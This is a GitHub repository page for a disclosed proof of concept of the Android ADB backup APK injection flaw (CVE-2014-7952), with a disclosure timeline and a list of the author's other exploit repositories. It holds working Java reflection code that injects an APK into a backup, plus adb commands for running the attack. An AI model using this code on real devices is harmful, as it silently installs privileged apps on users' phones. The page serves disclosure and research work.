• Stars
    star
    138
  • Rank 264,508 (Top 6 %)
  • Language
  • Created over 9 years ago
  • Updated over 9 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Android ADB backup APK Injection POC

ADB-Backup-APK-Injection

Android ADB backup APK injection vulnerability discovered by and POC created by Imre Rad, SEARCH-LAB Ltd., Hungary.

What is ADB backup/restore?

The Android operating system offers a backup/restore mechanism of installed packages through the ADB utility. By default, full backup of applications including the private files stored in /data is performed, but this behaviour can be customized by implementing a BackupAgent class. This way applications can feed the backup process with custom files and data. The backup file created is a simple compressed tar archive with some Android specific headers. Optional encryption is also possible.

APK injection vulnerability

The backup manager, which invokes the custom BackupAgent does not filter the data stream returned by the applications. While a BackupAgent is being executed during the backup process, it is able to inject additional applications (APKs) into the backup archive without the user's consent. The BackupAgent needs no Android permissions. Upon restoration of the backup archive, the system installs the injected, additional application (since it is part of the backup archive and the system believes it is authentic) with escalated privileges.

So the danger is in a few words: an innocent-looking Android application can install new applications with extra permissions without the user's consent.

The Backup Manager can be exploited through simple reflection to inject the arbitrary additional APK:

// package name of the application to be injected. This will be one of the arguments of backupToTar() method
String packageName = "com.searchlab.wifitest"; 

Method backupToTar;
Method getData;
try {
	// looking up the internal Classes
	Class<?> fullbackupClass = Class.forName("android.app.backup.FullBackup");
	Class<?> backupDataOutputClass = Class.forName("android.app.backup.BackupDataOutput");
	
	// fetching reference to the backupToTar method and making it accessible for us
	backupToTar = fullbackupClass.getDeclaredMethod("backupToTar", String.class, String.class, String.class, String.class, String.class, backupDataOutputClass);
	backupToTar.setAccessible(true);		
	
	// we also need getData() method
	getData = FullBackupDataOutput.class.getDeclaredMethod("getData");
	getData.setAccessible(true);
	
	// and now let the magic begin!
	Object backupData = getData.invoke(data);
	backupToTar.invoke(null, packageName, null, null, getFilesDir().toString(), getFilesDir()+"/_manifest", backupData);
	backupToTar.invoke(null, packageName, "a", null, getFilesDir().toString(),getFilesDir()+"/com.searchlab.wifitest-1.apk", backupData);
	
	// that's all, folks
	Log.v("MYBACKUP", "backuptotar invoked!");
	
} catch (Exception e) {
	e.printStackTrace();
}

Who is affected?

The vulnerability resides in the backup mechanism of the Android operating system. Anyone using the adb tool for creating and restoring backups of their handsets might be affected. One could think that command line applications are used by geeks or programmers only, but not necessarily, there are Windows GUI applications which rely on the same technology behind the scenes when creating backups or restoring them. The malware might come from an innocent looking game without any suspicion as it claims to need no permissions at all. As soon as backup was created, the archive is "infected". The injected application can use any (non-system) permissions, for example starting automatically at boot or sending SMS messages.

Proof of Concept

In this repository you can find an application along with it's source code which can demonstrate the vulnerabilty. It was tested on Android 4.4.4 and Android 5.1.1.

Step 1: Install ADB_Backup_Injection.apk (com.searchlab.backupagenttest):

ADB Backup Injection, custom BackupAgent

This application does not require any permissions.

Step 2: Use the following command to create a backup of this package

adb backup -f backup.ab -apk com.searchlab.backupagenttest

(You could create a full system backup as well, the exploit would be still successful.)

Step 3 (optional): If you want to examine the backup archive just created, use the ABE tool:

java -jar abe.jar unpack backup.ab backup.tar

ADB Backup Injection, the tar file with the injected content

In the tar file you will find the injected second application (com.searchlab.wifitest).

Step 4: Use the following command to restore the archive:

adb restore backup.ab

Since the backup.ab file already contains the injected application, it will be restored (installed) as well.

Step 5: Verify that Wifi Test application was indeed installed. The application runs with android.permission.CHANGE_WIFI_STATE and android.permission.ACCESS_WIFI_STATE permissions to demonstrate that privilege escalation was also possible.

ADB Backup Injection, injected application

CVE

The ID CVE-2014-7952 was assigned to this vulnerability.

Affected Versions

As of today (2015-07-08), all Android versions are affected, including Android L.

Timeline

SEARCH-LAB Ltd. responsibly reported this threat to the Android security team. At first, Google did not acknowledge the issue being security relevant. Later they kept requesting to hold off publishing as they needed more time for further investigation, but as of today, July 8, 2015 the bug was still not addressed. The most important milestones of the issue are listed in the next lines:

2014-07-14: The vulnerability was disclosed to the Android Security Team

2014-07-28: Google refused to treat the issue as a potential threat

...Couple of additional emails in this thread, Google kept investigating the issue and requested holding off the publication

2014-10-13: Asked Google for status update (and requested a cup or a mug for being patient)

2014-10-15: Google answered that the issue did not get fixed in the L release and requested to hold off publishing it. (Got a promise about asking around for a mug)

...Few more ping-pong emails periodically without any new info (neither a mug)

2015-06-02: Google promised further info in a few days, but it never arrived

Links

http://www.search-lab.hu/about-us/news/110-android-adb-backup-apk-injection-vulnerability

More Repositories

1

gcp-dhcp-takeover-code-exec

Google Compute Engine (GCE) VM takeover via DHCP flood - gain root access by getting SSH keys added by google_guest_agent
Go
532
star
2

curlshell

reverse shell using curl
Python
444
star
3

dfwfw

Docker Firewall Framework
Perl
130
star
4

jackson-rce-via-spel

An example project that exploits the default typing issue in Jackson-databind via Spring application contexts and expressions
Java
121
star
5

CVE-2020-1313

Proof of concept exploit of Windows Update Orchestrator Service Elevation of Privilege Vulnerability
C++
120
star
6

Huawei-Hisuite-KobackupCipherTool

Tool to encrypt/decrypt backup packages created by Huawei Hisuite.
Java
51
star
7

CVE-2020-0728

Proof of Concept code for CVE-2020-0728
C++
46
star
8

apache-openoffice-rce-via-uno-links

35
star
9

php-bypass-disable-functions

Demo project how to bypass the disable_functions security control of PHP on Linux
PHP
24
star
10

microsoft-diagcab-rce-poc

Proof of concept about a path traversal vulnerability in Microsoft's Diagcab technology that could lead to remote code execution
Perl
22
star
11

CVE-2020-1967

Proof of concept exploit about OpenSSL signature_algorithms_cert DoS flaw (CVE-2020-1967)
19
star
12

lgosp-poc

LG On Screen Phone authentication bypass PoC (CVE-2014-8757)
Perl
14
star
13

struts-any-results

Demonstrating why Dynamic Method Invocation with unrestricted method names (the old default of Struts) is dangerous.
Java
12
star
14

golang-insecureskipverify-patch

Simple patcher tool to turn off TLS handshake validation in golang binaries
C
12
star
15

google-osconfig-privesc

Proof of concept about the privilege escalation flaw identified in Google's Osconfig
Python
10
star
16

CVE-2022-20128

Android Debug Bridge (adb) was vulnerable to directory traversal attacks that could have been mounted by rogue/compromised adb daemons during an adb pull operation.
Python
8
star
17

microsoft-diaghub-case-sensitivity-eop-cve

Proof of concept code about the Microsoft Diaghub case sensitivity Elevation of Privileges vulnerability
C#
8
star
18

tcp-http-proxy

A potential solution for OpenWRT + Mitmproxy
C
5
star
19

gnu-patch-vulnerabilities

The GNU patch utility was prone vulnerable to multiple attacks through version 2.7.6. You can find my related PoC files here.
5
star
20

mysql-load-data-local-abuse

Abusing MySQL's LOAD DATA LOCAL feature
Perl
4
star
21

golang-http2debug-onthefly

Tool to activate http2debug feature of golang on the fly.
Shell
3
star
22

go-reproto

An experimental tool to reconstruct proto definitions based on golang binaries
Perl
3
star
23

cloud-sql-auth-proxy-iam-mitm

PoC tool to demonstrate an MitM attack against Google's Cloud SQL authentication proxy product.
Go
2
star
24

pcap-proxy

A simple userland TCP proxy application that captures the network flow into a .pcap file
Perl
2
star
25

CVE-2022-3168-adb-unexpected-reverse-forwards

Proof of concept code to exploit flaw in adb that allowed opening network connections on the host to arbitrary destinations
Python
2
star
26

icedtea-web-vulnerabilities

Hosting proof of concept exploit code of the remote code execution vulnerabilities in the IcedTea-Web Java webstart implementation.
2
star
27

postgres-proxy-cloudsql-iam-vuln

A PoC proxy script that allowed me to extract access tokens from the Postgres wire messages in Google Cloud SQL.
Perl
1
star
28

cloud-shell-ssrf

Google Cloud Shell SSRF feature PoC tool
Python
1
star
29

grpcurl-for-android

gRPCurl precompiled binaries for Android
1
star
30

rdiff-backup

Simple docker image around rdiff-backup
Shell
1
star
31

raiffeisen-direktnet

Transaction parser for the Raiffeisen Direktnet banking website
Perl
1
star
32

hikvision-motion

SMTP server to receive HikVision camera/NVR notifications in order to post process the stream/images with GCP Vision AI (object tagging). Push notification to your device.
Python
1
star
33

p1x1

Open-source web application for cataloging and archiving private photos in S3 compatible stores, protecting content via a full-browser, client-side encryption logic.
TypeScript
1
star
34

proftpd-mysql-password

Support for MySQL PASSWORD() in Proftpd's SQLAuthTypes
C
1
star